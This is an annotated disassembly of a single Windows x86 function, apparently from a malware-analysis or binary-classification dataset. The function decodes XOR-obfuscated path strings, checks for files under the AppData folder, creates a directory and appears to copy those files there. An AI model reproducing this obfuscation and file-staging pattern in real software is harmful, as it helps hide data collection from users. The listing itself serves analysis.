Function at 0x411225
Capabilities:
Check if file exists
Create directory
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x57c
mov eax, dword [0x427040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x320]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x4114c0
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea eax, [ebp - 0x320]
push eax
mov esi, 0x104
lea eax, [ebp - 0x110]
push esi
push eax
call ebx
movaps xmm0, xmmword [0x402950]
add esp, 0xc
movups xmmword [ebp - 0x550], xmm0
mov dword [ebp - 0x540], 0x707e7f79
xor ecx, ecx
mov dword [ebp - 0x53c], 0x7d70817d
mov dword [ebp - 0x538], 0x7883397e
mov word [ebp - 0x534], 0x77
movsx eax, byte [ebp - 0x550]
and eax, 0x8000000f
jns 0x4112c0
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x54f], al
inc ecx
cmp ecx, 0x1c
jb 0x4112ad
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea eax, [ebp - 0x54f]
push eax
lea eax, [ebp - 0x110]
mov byte [ebp - 0x533], 0
push esi
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x218]
push esi
push eax
call ebx
movaps xmm0, xmmword [0x402380]
add esp, 0xc
movups xmmword [ebp - 0x550], xmm0
mov dword [ebp - 0x540], 0x303f303c
xor ecx, ecx
mov dword [ebp - 0x53c], 0x7f233436
mov dword [ebp - 0x538], 0x3d3c29
mov al, byte [ebp - 0x550]
xor byte [ebp + ecx - 0x54f], al
inc ecx
cmp ecx, 0x1a
jb 0x411330
lea eax, [ebp - 0x54f]
mov byte [ebp - 0x535], 0
push eax
lea eax, [ebp - 0x218]
push esi
push eax
call edi
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x110]
add esp, 0xc
push eax
call esi
test eax, eax
jne 0x411382
lea eax, [ebp - 0x218]
push eax
call esi
test eax, eax
je 0x4114c0
movaps xmm0, xmmword [0x402890]
xor edx, edx
movups xmmword [ebp - 0x578], xmm0
mov ecx, edx
mov dword [ebp - 0x558], 0x5a5f6c53
movaps xmm0, xmmword [0x4026e0]
movups xmmword [ebp - 0x568], xmm0
mov word [ebp - 0x554], 0x575a
mov byte [ebp - 0x552], dl
mov al, byte [ebp - 0x578]
xor byte [ebp + ecx - 0x577], al
inc ecx
cmp ecx, 0x25
jb 0x4113bb
push edx
lea eax, [ebp - 0x577]
mov byte [ebp - 0x552], dl
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x577]
mov esi, 0x104
push eax
lea eax, [ebp - 0x428]
push esi
push eax
call ebx
movaps xmm0, xmmword [0x402140]
add esp, 0xc
movups xmmword [ebp - 0x548], xmm0
mov dword [ebp - 0x538], 0x4d4c59
xor ecx, ecx
mov al, byte [ebp - 0x548]
xor byte [ebp + ecx - 0x547], al
inc ecx
cmp ecx, 0x12
jb 0x411415
lea eax, [ebp - 0x547]
mov byte [ebp - 0x535], 0
push eax
lea eax, [ebp - 0x428]
push esi
push eax
call edi
add esp, 0xc
lea edx, [ebp - 0x428]
lea ecx, [ebp - 0x110]
call fcn.0041af62
lea eax, [ebp - 0x577]
push eax
lea eax, [ebp - 0x530]
push esi
push eax
call ebx
movaps xmm0, xmmword [0x402450]
add esp, 0xc
movups xmmword [ebp - 0x544], xmm0
mov word [ebp - 0x534], 0x3d
xor ecx, ecx
mov al, byte [ebp - 0x544]
xor byte [ebp + ecx - 0x543], al
inc ecx
cmp ecx, 0x10
jb 0x411481
lea eax, [ebp - 0x543]
mov byte [ebp - 0x533], 0
push eax
lea eax, [ebp - 0x530]
push esi
push eax
call edi
add esp, 0xc
lea edx, [ebp - 0x530]
lea ecx, [ebp - 0x218]
call fcn.0041af62
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fa65
leave
ret